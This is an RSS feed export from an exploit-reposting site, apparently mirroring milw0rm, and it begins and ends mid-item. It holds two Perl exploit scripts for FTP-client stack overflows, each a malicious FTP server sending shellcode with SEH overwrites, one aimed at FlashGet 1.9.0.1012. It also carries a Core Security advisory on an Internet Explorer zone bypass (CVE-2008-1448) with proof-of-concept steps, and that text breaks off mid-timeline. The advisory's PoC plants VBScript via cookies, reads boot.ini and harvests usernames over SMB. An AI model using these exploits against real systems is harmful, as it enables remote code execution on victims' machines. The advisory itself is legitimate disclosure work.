=&nbsp;&nbsp;<br>&quot;\x31\xc9\x83\xe9\xde\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x6b&quot;.<br>&quot;\xa3\x03\x10\x83\xeb\xfc\xe2\xf4\x97\x4b\x47\x10\x6b\xa3\x88\x55&quot;.<br>&quot;\x57\x28\x7f\x15\x13\xa2\xec\x9b\x24\xbb\x88\x4f\x4b\xa2\xe8\x59&quot;.<br>&quot;\xe0\x97\x88\x11\x85\x92\xc3\x89\xc7\x27\xc3\x64\x6c\x62\xc9\x1d&quot;.<br>&quot;\x6a\x61\xe8\xe4\x50\xf7\x27\x14\x1e\x46\x88\x4f\x4f\xa2\xe8\x76&quot;.<br>&quot;\xe0\xaf\x48\x9b\x34\xbf\x02\xfb\xe0\xbf\x88\x11\x80\x2a\x5f\x34&quot;.<br>&quot;\x6f\x60\x32\xd0\x0f\x28\x43\x20\xee\x63\x7b\x1c\xe0\xe3\x0f\x9b&quot;.<br>&quot;\x1b\xbf\xae\x9b\x03\xab\xe8\x19\xe0\x23\xb3\x10\x6b\xa3\x88\x78&quot;.<br>&quot;\x57\xfc\x32\xe6\x0b\xf5\x8a\xe8\xe8\x63\x78\x40\x03\x53\x89\x14&quot;.<br>&quot;\x34\xcb\x9b\xee\xe1\xad\x54\xef\x8c\xc0\x62\x7c\x08\xa3\x03\x10&quot;;<br><br><br>my $sock = IO::Socket::INET-&gt;new( LocalAddr =&gt; &#39;0.0.0.0&#39;, LocalPort =&gt; &#39;21&#39;, Listen =&gt; 1, Reuse =&gt; 1);<br><br>while(my $csock = $sock-&gt;accept())<br>{<br><br>&nbsp;&nbsp;print $csock &quot;220 Hello ;)\r\n&quot;; <br>&nbsp;&nbsp;read_sock($csock);<br><br>&nbsp;&nbsp;print $csock &quot;331 pwd please\r\n&quot;;<br>&nbsp;&nbsp;read_sock($csock);<br><br>&nbsp;&nbsp;print $csock &quot;230 OK\r\n&quot;;<br>&nbsp;&nbsp;read_sock($csock);<br><br>&nbsp;&nbsp;print $csock &quot;250 CWD command successful.\r\n&quot;;<br>&nbsp;&nbsp;read_sock($csock);<br><br>&nbsp;&nbsp;print $csock&nbsp;&nbsp;&quot;257 &quot; . &quot;\x22&quot;&nbsp;&nbsp;. <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&quot;\x41&quot; x 324 . <br><br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&quot;\xEB\x06\x90\x90&quot; . # jump ahead<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&quot;\x82\x01\x02\x30&quot; . # pop,pop,ret @ flash9f.ocx, thanks macromedia for avoiding /SAFESEH   ;) <br><br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$shellcode .<br><br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&quot;\x90&quot; x 840 .<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&quot;\x22&quot; .<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&quot; is current directory.\r\n&quot;;<br>&nbsp;&nbsp;&nbsp;&nbsp;<br>&nbsp;&nbsp;close($csock);<br>&nbsp;&nbsp;exit;<br>}<br><br><br>sub read_sock<br>{<br>&nbsp;&nbsp;my ($sock) = @_;<br><br>&nbsp;&nbsp;my $buf = &lt;$sock&gt;;<br><br>&nbsp;&nbsp;print &quot;[client] -&gt; $buf&quot;;<br><br>}<br><br># milw0rm.com [2008-08-17]
		<br><br><link href="http://qmsqlwebshell.7766.org/rssstyles.css" rel="stylesheet" type="text/css">]]></content:encoded>
    <link><![CDATA[http://qmsqlwebshell.7766.org/blogview.asp?logID=1073]]></link>
		<guid isPermaLink="false"><![CDATA[http://qmsqlwebshell.7766.org/blogview.asp?logID=1073]]></guid>
    <dc:subject><![CDATA[Exploits & Codes]]></dc:subject>
    <dc:creator><![CDATA[Admin]]></dc:creator>
    <dc:date>2008-08-18T20:26:50Z</dc:date>
  </item>

	<item>
    <title><![CDATA[FlashGet 1.9.0.1012 (FTP PWD Response) SEH STACK Overflow Exploit]]></title>
    <description><![CDATA[#!/usr/bin/perl
# FlashGet 1.9.0.1012 (FTP PWD Response) SEH STACK Overflow Exploit
# Coded By SkOd, skod.uk at gmail dot com
# Tested over Windows XP sp1 Hebrew
# link your victim to - ftp://localhost/somefile.TORRENT - over internet explorer.
...]]></description>
    <content:encoded><![CDATA[#!/usr/bin/perl<br># FlashGet 1.9.0.1012 (FTP PWD Response) SEH STACK Overflow Exploit<br># Coded By SkOd, skod.uk at gmail dot com<br># Tested over Windows XP sp1 Hebrew<br># link your victim to - <a target='_blank' href='ftp://localhost/somefile.TORRENT'>ftp://localhost/somefile.TORRENT</a> - over internet explorer.<br><br>##<br># PoC by Krystian Kloskowski (h07) &lt;h07@interia.pl&gt;<br># <a target='_blank' href='http://milw0rm.com/exploits/6240'>http://milw0rm.com/exploits/6240</a><br><br>##<br># special thanks to a friend of mine who helped me<br><br>use IO::Socket;<br><br>####################################[ Parameters ]########################################<br>my $SHELLCODE =<br>&quot;\x31\xc9\x83\xe9\xde\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x6b&quot;.<br>&quot;\xa3\x03\x10\x83\xeb\xfc\xe2\xf4\x97\x4b\x47\x10\x6b\xa3\x88\x55&quot;.<br>&quot;\x57\x28\x7f\x15\x13\xa2\xec\x9b\x24\xbb\x88\x4f\x4b\xa2\xe8\x59&quot;.<br>&quot;\xe0\x97\x88\x11\x85\x92\xc3\x89\xc7\x27\xc3\x64\x6c\x62\xc9\x1d&quot;.<br>&quot;\x6a\x61\xe8\xe4\x50\xf7\x27\x14\x1e\x46\x88\x4f\x4f\xa2\xe8\x76&quot;.<br>&quot;\xe0\xaf\x48\x9b\x34\xbf\x02\xfb\xe0\xbf\x88\x11\x80\x2a\x5f\x34&quot;.<br>&quot;\x6f\x60\x32\xd0\x0f\x28\x43\x20\xee\x63\x7b\x1c\xe0\xe3\x0f\x9b&quot;.<br>&quot;\x1b\xbf\xae\x9b\x03\xab\xe8\x19\xe0\x23\xb3\x10\x6b\xa3\x88\x78&quot;.<br>&quot;\x57\xfc\x32\xe6\x0b\xf5\x8a\xe8\xe8\x63\x78\x40\x03\x53\x89\x14&quot;.<br>&quot;\x34\xcb\x9b\xee\xe1\xad\x54\xef\x8c\xc0\x62\x7c\x08\xa3\x03\x10&quot;;<br># win32_exec -  EXITFUNC=seh CMD=calc Size=160 Encoder=PexFnstenvSub <a target='_blank' href='http://metasploit.com'>http://metasploit.com</a><br><br># The Host that will be listen to the Download request from Flashget<br>my $HOST = &#39;127.0.0.1&#39;; #your own ip<br>#################################[Don&#39;t Edit From Here]#####################################<br><br><br>######################################[Defines]#############################################<br>my $PADDING_CHAR = &quot;A&quot;;<br>my $PADDING_SIZE = 324;<br><br>#The code will return to next_seh_chain so i make it as jump and invalid address<br>#so it will be decoded as last in chain.<br>my $NEXT_SEH_IN_CHAIN = &quot;\xEB\x06\xFF\xFF&quot;; # JMP +6<br><br>#Settings Return Address<br>my $CUR_SEH_ADDRESS = &quot;\x8B\x19\x01\x10&quot;; <br># Chosen Ret Addr is : 0x1001198B FlashGet\FGBTCORE.dll v1.0. 0.36<br># 1001198B   5E               POP ESI<br># 1001198C   5B               POP EBX<br># 1001198D   C3               RETN<br><br># Building SEH Block<br>my $SEH_BLOCK = $NEXT_SEH_IN_CHAIN . <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$CUR_SEH_ADDRESS;<br><br>#Creating Payload<br>$PAYLOAD  = $PADDING_CHAR x $PADDING_SIZE;&nbsp;&nbsp;&nbsp;&nbsp;<br>$PAYLOAD .= $SEH_BLOCK;<br>$PAYLOAD .= $SHELLCODE;<br>$PAYLOAD .= &quot;\x90&quot; x 300;&nbsp;&nbsp;#Putting alot of nops so the code will get Exception that we write after stack is over<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;#witch will make it to call our code<br><br>$LISTEN_PORT = 21;<br>##########################################################################<br>print &quot;# FlashGet 1.9.0.1012 (FTP PWD Response) SEH STACK Overflow Exploit\r\n&quot;;<br>print &quot;# Coded By SkOd, skod.uk\x40gmail\x2ecom\r\n&quot;;<br><br>my $serverSocket = new IO::Socket::INET (Listen =&gt; 1,<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;LocalAddr =&gt; $HOST,<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;LocalPort =&gt; $LISTEN_PORT,<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Proto     =&gt; &#39;tcp&#39;);&nbsp;&nbsp;<br>do<br>{<br>&nbsp;&nbsp;print &quot;\r\n[~] listening...\r\n&quot;;<br>&nbsp;&nbsp;$clientSocket = $serverSocket-&gt;accept();<br>&nbsp;&nbsp;print &quot;[+] New Connection Recived\r\n&quot;;<br><br>&nbsp;&nbsp;$clientSocket-&gt;send(&quot;220 WELCOME!\r\n&quot;);<br>&nbsp;&nbsp;$isPayloadSent = 0;<br>&nbsp;&nbsp;<br>&nbsp;&nbsp;while($isPayloadSent == 0) {<br>&nbsp;&nbsp;&nbsp;&nbsp;$clientSocket-&gt;recv($recvBuffer,1024);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;print &quot;[~] Recived: &quot; . $recvBuffer;<br>&nbsp;&nbsp;<br>&nbsp;&nbsp;&nbsp;&nbsp;if($recvBuffer =~ /USER/) {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$clientSocket-&gt;send(&quot;331 Password required for l33t\r\n&quot;);<br>&nbsp;&nbsp;&nbsp;&nbsp;} elsif($recvBuffer =~ /PASS/) {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$clientSocket-&gt;send(&quot;230 User l33t logged in.\r\n&quot;);<br>&nbsp;&nbsp;&nbsp;&nbsp;} else {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$clientSocket-&gt;send(&quot;257 \&quot;$PAYLOAD\&quot;\r\n&quot;);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;print(&quot;[+] The payload has been sent...\r\n&quot;);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$isPayloadSent = 1;<br>&nbsp;&nbsp;&nbsp;&nbsp;}<br>&nbsp;&nbsp;}<br>&nbsp;&nbsp;<br>&nbsp;&nbsp;$clientSocket-&gt;close();<br>&nbsp;&nbsp;<br>} while (true);<br><br># milw0rm.com [2008-08-15]
		<br><br><link href="http://qmsqlwebshell.7766.org/rssstyles.css" rel="stylesheet" type="text/css">]]></content:encoded>
    <link><![CDATA[http://qmsqlwebshell.7766.org/blogview.asp?logID=1072]]></link>
		<guid isPermaLink="false"><![CDATA[http://qmsqlwebshell.7766.org/blogview.asp?logID=1072]]></guid>
    <dc:subject><![CDATA[Exploits & Codes]]></dc:subject>
    <dc:creator><![CDATA[Admin]]></dc:creator>
    <dc:date>2008-08-18T20:25:19Z</dc:date>
  </item>

	<item>
    <title><![CDATA[Internet Explorer Zone Elevation Restrictions Bypass and Security Zone Restrictions Bypass]]></title>
    <description><![CDATA[
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

~ Core Security Technologies - CoreLabs Advisory
~ http://www.coresecurity.com/corelabs/

Internet Explorer Zone Elevation Restrictions Bypass and Security Zone
Restrictions Bypass

*Advisory ...]]></description>
    <content:encoded><![CDATA[<table width="90%" border="0" cellpadding="0" cellspacing="1" class="ubb_code">
<tr>
<td>-----BEGIN PGP SIGNED MESSAGE-----<br>Hash: SHA1<br><br>~ Core Security Technologies - CoreLabs Advisory<br>~ <a target='_blank' href='http://www.coresecurity.com/corelabs/'>http://www.coresecurity.com/corelabs/</a><br><br>Internet Explorer Zone Elevation Restrictions Bypass and Security Zone<br>Restrictions Bypass<br><br>*Advisory Information*<br><br>Title: Internet Explorer Zone Elevation Restrictions Bypass and Security<br>Zone Restrictions Bypass<br>Advisory ID: CORE-2008-0103<br>Advisory URL:<br><a target='_blank' href='http://www.coresecurity.com/c&#111;ntent/internet-explorer-z&#111;ne-elevati&#111;n'>http://www.coresecurity.com/c&#111;ntent/internet-explorer-z&#111;ne-elevati&#111;n</a><br>Date published: 2008-08-13<br>Date of last update: 2008-08-13<br>Vendors contacted: Microsoft<br>Release mode: Coordinated release<br><br>*Vulnerability Information*<br><br>Class: Zone Elevation Restrictions Bypass and Security Zone Restrictions<br>Bypass<br>Remotely Exploitable: Yes<br>Locally Exploitable: No<br>Bugtraq ID: 30585 <br>CVE Name: CVE-2008-1448<br><br>*Vulnerability Description*<br><br>Internet Explorer introduces the concept of URL Security Zones, which<br>basically define a set of privileges for web applications (such as, for<br>example, accessing and/or modifying the local computer files) depending<br>on their level of trustworthiness.<br><br>Issues have been found in the way that security policies are applied<br>when a URI is specified in the UNC form:<br>&#39;\\MACHINE_NAME_OR_IP\PATH_TO_RESOURCE&#39;<br><br>* When a remote site attempts to access a local resource, Internet<br>Explorer will fail to enforce the Zone Elevation restrictions.<br><br>* When browsing a remote site, Internet Explorer will not apply the<br>right Security Zone permissions, allowing a site belonging to a less<br>secure zone to be treated as one belonging to a more privileged zone.<br><br>*Vulnerable Packages*<br><br>. Internet Explorer 5 under Windows 2000/2003/XP<br>. Internet Explorer 6 under Windows 2000/2003/XP<br>. Internet Explorer 7 under Windows 2000/2003/XP<br>. Internet Explorer 7 under Windows Vista (when protected mode is turned<br>off)<br><br>*Non-vulnerable Packages*<br><br>. This vulnerability is addressed by Microsoft Security Bulletin<br>MS08-048 [1]<br><br>*Vendor Information, Solutions and Workarounds*<br><br>Microsoft has issued Security Bulletin MS08-048 to address this<br>vulnerability. The bulletin includes workarounds and mitigating factors.<br>For more information refer to the bulletin:<br><a target='_blank' href='http://www.microsoft.com/technet/security/bulletin/ms08-048.mspx'><a target='_blank' href='http://www.microsoft.com/technet/security/bulletin/ms08-048.mspx'>http://www.microsoft.com/technet/security/bulletin/ms08-048.mspx</a></a><br><br>Workarounds communicated by the vendor include:<br><br>* Locking down the MHTML protocol handler. Below are the required<br>registry changes.<br><br>/-----------<br><br>[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet<br>Explorer\MAIN\FeatureControl\FEATURE_PROTOCOL_LOCKDOWN]<br>&quot;explorer.exe&quot;=dword:00000001<br>&quot;iexplore.exe&quot;=dword:00000001<br>&quot;*&quot;=dword:00000001<br><br>[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet<br>Settings\RestrictedProtocols]<br><br>[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet<br>Settings\RestrictedProtocols\1]<br>&quot;mhtml&quot;=&quot;mhtml&quot;<br><br>[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet<br>Settings\RestrictedProtocols\2]<br>&quot;mhtml&quot;=&quot;mhtml&quot;<br><br>[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet<br>Settings\RestrictedProtocols\3]<br>&quot;mhtml&quot;=&quot;mhtml&quot;<br><br>[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet<br>Settings\RestrictedProtocols\4]<br>&quot;mhtml&quot;=&quot;mhtml&quot;<br><br>- -----------/<br><br>* Disabling the MHTML protocol handler. To disable the protocol handler,<br>follow these steps:<br><br>1. Click Start and then click Run. Enter regedit.exe in the text box and<br>click OK.<br>2. Navigate to<br>HKEY_CLASSES_ROOT\CLSID\{05300401-BCBC-11d0-85E3-00C04FD85AB4}.<br>3. Right click {05300401-BCBC-11d0-85E3-00C04FD85AB4} and select<br>Permissions.<br>4. Click Advanced.<br>5. Deselect Allow inheritable permissions from the parent to propagate<br>6. Click Remove, and then click OK. Click Yes and OK on subsequent screens.<br><br>*Credits*<br><br>This vulnerability was discovered and researched by Jorge Luis Alvarez<br>Medina from Core Security Technologies.<br><br>*Technical Description / Proof of Concept Code*<br><br>Internet Explorer is the most popular Internet browser in the world as<br>it is an integrated component of every Windows installation. It<br>introduces the concept of URL Security Zones, as explained in [2], which<br>basically define a set of privileges for web applications (such as<br>accessing and modifying the local computer files) depending on their<br>level of trustworthiness, namely:<br><br>* Local Intranet Zone: for content located on an organization&#39;s<br>intranet. Because the servers and information are within an<br>organization&#39;s firewall, it is reasonable to assign a higher level of<br>trust to content on the intranet.<br><br>* Trusted Sites Zone: for content located on Web sites that are<br>considered more reputable or trustworthy than other sites on the<br>Internet. Assigning a higher level of trust to these sites minimizes the<br>number of related authentication requests. The user adds the URLs of<br>trusted Web sites to this zone.<br><br>* Internet Zone: for Web sites on the Internet that do not belong to<br>another zone. This default setting causes Internet Explorer to prompt<br>the user whenever potentially unsafe content is about to be downloaded.<br>Web sites that are not mapped into other zones automatically fall into<br>this zone.<br><br>* Restricted Sites Zone: used for Web sites that contain content that<br>can cause (or have previously caused) problems when downloaded. This<br>zone causes Internet Explorer to alert users when potentially-unsafe<br>content is about to be downloaded, or to prevent the content from<br>downloading. The user adds the URLs of these un-trusted Web sites to<br>this zone.<br><br>* Local Machine Zone: the Local Machine zone is an implicit zone for<br>content that exists on the local computer. The content found on the<br>user&#39;s computer (except for content that Internet Explorer caches on the<br>local system) is treated with a high level of trust.<br><br>THE PROBLEM<br><br>There are issues in the manner that security policies are applied when a<br>URI is specified in the UNC form:<br><br>\\MACHINE_NAME_OR_IP\PATH_TO_RESOURCE<br><br>* When a remote site attempts to access a local resource, Internet<br>Explorer will fail to enforce the Zone Elevation restrictions.<br><br>* When browsing a remote site, Internet Explorer will fail to apply the<br>right Security Zone permissions, allowing a site belonging to a less<br>secure zone to be treated as one belonging to a more privileged zone.<br><br>TECHNICAL BACKGROUND<br><br>The Proof of Concepts below exploit the aforementioned issue by taking<br>advantage of other features of Internet Explorer. Keep in mind that:<br><br>* Besides the common web content types (such as plain http, image, audio<br>and video) the browser is also able to render other standardized content<br>types, among them, MIME HTML or mhtml. And, overriding the way IE<br>chooses to render a file (described in [3]) presents a way to enforce<br>the rendering type as MIME HTML by using the protocol handler for mhtml<br>in the following manner:<br><br>mhtml:[PATH_TO_RESOURCE]<br><br>The resource content begins with the MIME HTML headers describing their<br>contents, as shown below.<br><br>/-----------<br><br>~ From: &lt;wherever the contents where from&gt;<br>~ Subject: &lt;whatever&gt;<br>~ Date: &lt;whatever&gt;<br>~ MIME-Version: 1.0<br>~ Content-Type: multipart/related;<br>~ type=&quot;text/html&quot;;<br>~ boundary=&quot;----=_NextPart_000_0000_01C8457B.CB7FBF60&quot;<br>~ X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2900.3028<br><br>~ [FILE CONTENTS]<br><br>- -----------/<br><br>But, in fact, the only header lines required for the file being rendered<br>as mhtml, are:<br><br>/-----------<br><br>Content-Type: &lt;file content type&gt;<br><br>[FILE CONTENTS]<br><br>- -----------/<br><br>Cookies are stored in independent text files (one for each domain)<br>inside the cookies folder (usually located at &#39;\Documents and<br>settings\USERNAME\Cookies&#39; in all Windows NT based implementations). The<br>cookie file name is structured in the following manner:<br><br>/-----------<br><br>USERNAME (at) full.domain (dot) name [email concealed][X]<br><br>- -----------/<br><br>where X is an integer like 1,2,3, depending on the Internet Explorer<br>choice.<br><br>The cookies folder is hardcoded inside the Explorer engine as a<br>restricted site. You can check it by looking at the status bar when<br>browsing this folder with Windows Explorer.<br><br>When requesting a resource, for example, in the &#39;src&#39; attribute of an<br>HTML &#39;img&#39; tag, Internet Explorer allows the usage of &#39;smb&#39; URIs. So,<br>when IE attempts to render the following line:<br><br>/-----------<br><br>&lt;img src=&quot;file://IP_OR_HOSTNAME/PATH_TO_RESOURCE&quot;&gt;<br><br>- -----------/<br><br>It will attempt to establish an SMB connection against the<br>IP_OR_HOSTNAME machine, using the port 445. If this communication is<br>allowed, the username and a ciphered challenge/response will be sent to<br>the IP_OR_HOSTNAME specified.<br><br>Internet Explorer reacts different when a requested resource is directly<br>accessed or when it&#39;s found after a redirection. If a page hosted in<br>domain A makes a reference to a resource located at domain B, the user<br>will be prompted to download this file from the B domain. But if the<br>resource is requested, for example, in the following way:<br><br>/-----------<br><br>&lt;img src=A/resource.pl&gt;<br><br>- -----------/<br><br>And the resource.pl contents are something like:<br><br>/-----------<br><br>Status: 302 Found<br>Location: B/realResource<br><br>- -----------/<br><br>Internet Explorer will download the B/realResource file transparently.<br>Of course, in both cases, the security policies assigned to each domain<br>will be applied.<br><br>ATTACK DESCRIPTION<br><br>In order to reproduce the vulnerability, follow these steps:<br><br>create a file called &#39;evilCookie.txt&#39; in your cookies folder with the<br>following content:<br><br>/-----------<br>Content-Type: text/html<br><br>&lt;HTML&gt;<br>&lt;BODY&gt;<br>This text is &lt;H1&gt;HTML code&lt;/H1&gt;inside your cookie<br>&lt;SCRIPT language=&quot;VBScript&quot;&gt;<br>With createObject(&quot;MSXML2.XMLHTTP&quot;)<br>.open &quot;GET&quot;, &quot;\\127.0.0.1\C$\boot.ini&quot;, False<br>.send<br>a = .ResponseText<br>End With<br><br>MsgBox a<br>&lt;/SCRIPT&gt;<br>&lt;/BODY&gt;<br>&lt;/HTML&gt;<br>- -----------/<br><br>Point your IE to the following URI, replacing USERNAME with the<br>currently logged in user name.<br><br>/-----------<br><br>mhtml:\\127.0.0.1\C$\Documents%20and%20Settings\USERNAME\Cookies\evilCoo<br>kie.txt<br><br>- -----------/<br><br>The contents of your boot.ini file will be displayed in a message box<br>(or could be programmatically sent to a remote web site).<br><br>Note that if you reference this file in a different way than using the<br>UNC, the privileged VB script code (which requires local machine zone<br>permissions to execute) won&#39;t execute. For example, accessing the file<br>through the following link:<br><br>/-----------<br><br>mhtml:C:\Documents%20and%20Settings\USERNAME\Cookies\evilCookie.txt<br><br>- -----------/<br><br>will result in the file being opened and rendered, but the privileged<br>code will not be executed. That&#39;s because the folder containing the file<br>evilCookie.txt belongs to the Restricted Sites Zone.<br><br>PROOF OF CONCEPT CODE<br><br>In this PoC, with nothing but a click on a link to an evil page, the<br>contents of the &#39;boot.ini&#39; file (located at the system root in all<br>Windows NT based implementations) will be read using VBScript.<br><br>In order to do so, local machine zone permissions are required. So, we<br>need a way to put our code inside the client&#39;s machine. We will do so by<br>storing our code in a cookie.<br><br>Let&#39;s assume the victim user points his browser to the following URL:<br><br>/-----------<br><br><a target='_blank' href='http://example.com/evilPage'>http://example.com/evilPage</a><br><br>- -----------/<br><br>and this page sets their cookies with the following contents:<br><br>/-----------<br><br>Set-Cookie: Content-Type: text/html=; path=/; expires=Monday,<br>26-Nov-2008 12:30:00 GMT<br>Set-Cookie: &lt;!DOCTYPE HTML PUBLIC &quot;-//W3C//DTD HTML 4.0<br>Transitional//EN&quot;&gt;=&lt;HTML&gt;&lt;BODY&gt;This text is &lt;H1&gt;HTML code&lt;/H1&gt;inside<br>your cookie &lt;SCRIPT<br>language=&quot;VBScript&quot;<br>src=&quot;<a target='_blank' href='http://example.com/evil&#083;cript.vbs&quot;&gt;&lt;/&#083;CRIPT&gt;&lt;/BODY&gt;&lt;/HTML&gt;&lt;!--;'>http://example.com/evil&#083;cript.vbs&quot;&gt;&lt;/&#083;CRIPT&gt;&lt;/BODY&gt;&lt;/HTML&gt;&lt;!--;</a><br>path=/; expires=Monday, 26-Nov-2008 12:30:00 GMT<br><br>- -----------/<br><br>This will result in a cookie file like:<br><br>/-----------<br><br>\Documents and settings\USERNAME\Cookies\USERNAME (at) example (dot) com [email concealed][X].txt<br><br>- -----------/<br><br>with the following contents:<br><br>/-----------<br><br>~ Content-Type: text/html<br><br>~ example.com/<br>~ 1536<br>~ 3499433472<br>~ 29901218<br>~ 484464800<br>~ 29901200<br>~ *<br><br>~ &lt;!DOCTYPE HTML PUBLIC &quot;-//W3C//DTD HTML 4.0 Transitional//EN&quot;&gt;<br>~ &lt;HTML&gt;&lt;BODY&gt;This text is &lt;H1&gt;HTML code&lt;/H1&gt;inside your cookie<br>&lt;SCRIPT language=&quot;VBScript&quot;<br>src=&quot;<a target='_blank' href='http://example.com/evil&#083;cript.vbs&quot;&gt;&lt;/&#083;CRIPT&gt;&lt;/BODY&gt;&lt;/HTML&gt;&lt;!_'>http://example.com/evil&#083;cript.vbs&quot;&gt;&lt;/&#083;CRIPT&gt;&lt;/BODY&gt;&lt;/HTML&gt;&lt;!_</a><br>~ 1536<br>~ 3499433472<br>~ 29901218<br>~ 484464800<br>~ 29901200<br>~ *<br><br>- -----------/<br><br>The evilScript.vbs file is the one that will do the privileged job:<br><br>/-----------<br><br>~ With createObject(&quot;MSXML2.XMLHTTP&quot;)<br>~ .open &quot;GET&quot;, &quot;\\127.0.0.1\C$\boot.ini&quot;, False<br>~ .send<br>~ a = .ResponseText<br>~ End With<br><br>~ MsgBox a<br><br>- -----------/<br><br>With this, we now have a MIME HTML-like formatted file stored in the<br>client&#39;s cookies folder.<br><br>Now, by somehow guessing the victim&#39;s USERNAME, we can make a reference<br>to that file as follows:<br><br>/-----------<br><br>mhtml:file://Documents and<br>Settings/USERNAME/Cookies/USERNAME (at) example (dot) com [email concealed][X].txt<br><br>- -----------/<br><br>However, as the cookies folder belongs to the restricted sites zone, we<br>will not be able to take advantage of the privileged code referred<br>inside the cookie (that in the evilScript.vbs file).<br><br>Now if we point to the file exploiting the exposed vulnerability:<br><br>/-----------<br><br>mhtml:\\127.0.0.1\C$\Documents and<br>Settings\USERNAME\Cookies\USERNAME (at) example (dot) com [email concealed][X].txt<br><br>- -----------/<br><br>in spite the fact that the cookie&#39;s folder is hardcoded inside the<br>Restricted Security Zone, the file contents will be rendered as if they<br>belong to the local Intranet Security Zone, and the local boot.ini file<br>contents will be displayed in a message box.<br><br>Minor issues<br><br>As this file is at a different server than example, IE will prompt the<br>user to accept a download of the file from 127.0.0.1. In order to avoid<br>such prompting, we will point the file through a redirection:<br><br>/-----------<br><br><a target='_blank' href='http://example.com/redirectTo&#067;ookie'>http://example.com/redirectTo&#067;ookie</a><br><br>- -----------/<br><br>And the &#39;redirectToCookie&#39; file would respond with:<br><br>/-----------<br><br>Status: 302 Found<br>Content-type: text/html<br>Location: mhtml:\\127.0.0.1\C$\Documents and<br>Settings\USERNAME\Cookies\USERNAME (at) example (dot) com [email concealed][X].txt<br><br>- -----------/<br><br>To get the correct username, we can take advantage of other mentioned<br>characteristics of Internet Explorer. As the browser is able to make SMB<br>requests against a webserver, if we include inside the main page (the<br>one which sets the cookies) some references to non-existent resources in<br>the example.com site, the client will attempt to establish an SMB<br>connection against it, from where the username (among other useful data,<br>such as the ciphered challenge/response) can be extracted. With this, we<br>can dynamically create a custom redirectToCookie file with the correct<br>information. Of course, the victim&#39;s machine must be able to establish<br>outgoing connections to the port 445 to do so.<br><br>PoC files<br><br>This proof of concept uses three files to work:<br><br>* &#39;PoC.pl&#39;: a PERL script which will set the cookies and shot the SMB<br>requests.<br><br>* &#39;snifSMB.pl&#39;: this script must be running in the example server. It<br>will be listening for SMB requests, and when they occur, it will create<br>a set of redirectToCookie files, attempting to cover all possibilities.<br><br>* &#39;PoC.htm&#39;: this page will attempt to load the cookies through the<br>dynamically generated redirect files.<br><br>* &#39;evilScript.vbs&#39;: a script file referenced by the webpage created<br>inside the cookie, containing the code to be executed.<br><br>These files can be downloaded from<br><a target='_blank' href='http://www.coresecurity.com/files/attachments/CORE-2008-0103-PoC.zip'>http://www.coresecurity.com/files/attachments/CORE-2008-0103-PoC.zip</a><br>In order to make it work:<br><br>* Configure a web server supporting PERL scripts.<br><br>* Take all of these files and put them together into the web server.<br><br>* Run &#39;snifSMB.pl&#39; passing your domain as parameter in a shell, for<br>example:<br><br>/-----------<br><br>perl snifSMB.pl example.com<br><br>- -----------/<br><br>modify &#39;PoC.pl&#39; to make it set the cookie referencing the script<br>&#39;example.com/evilScript.vbs &#39; to your own domain/path. Also replace the<br>variable $cookieDomain in snifSMB.pl with the name of the domain from<br>where the cookie is set (for example set &quot;evil&quot; for evil.com).<br><br>~From another computer, point your IE to &#39;yoursite/PoC.pl&#39;. After five<br>seconds, it will automatically redirect to &#39;yoursite/PoC.htm&#39; and your<br>&#39;boot.ini&#39; file should be displayed.<br><br>*Report Timeline*<br><br>. 2008-01-09: Core Security Technologies notifies Microsoft that a<br>vulnerability has been found in Internet Explorer. Core sends an<br>advisory draft with technical details and PoC files, and announces its<br>initial plan to publish the content on February 11th.<br>. 2008-01-09: Vendor acknowledges notification.<br>. 2008-01-09: Vendor states that it&#39;s currently investigating the<br>reported issue, and asks Core what it plans to publish.<br>. 2008-01-10: Core responds it plans to publish the submitted advisory,<br>and tells the vendor that it&#39;s willing to discuss the publication date.<br>. 2008-01-11: Vendor states that it&#39;s investigating the issue and trying<br>to identify which platforms are affected. Vendor was unable to reproduce<br>the issue on Vista using IE7.<br>. 2008-01-11: Core responds that the problem was tested under XP SP2,<br>Windows 2000 and 2003, and that Vista seems vulnerable only if Protected<br>Mode under IE7 is OFF.<br>. 2008-01-11: Vendor reports that it is working through all the affected<br>platforms, and that it will forward the details of the complete list.<br>. 2008-01-21: Vendor announces that the investigation has been<br>completed. The platforms identified as affected are Internet Explorer<br>5.01 Service Pack 4, Internet Explorer 6 on W2k3, Internet Explorer 6 on<br>Windows XP Service Pack2, Internet Explorer 7 on Windows XP service 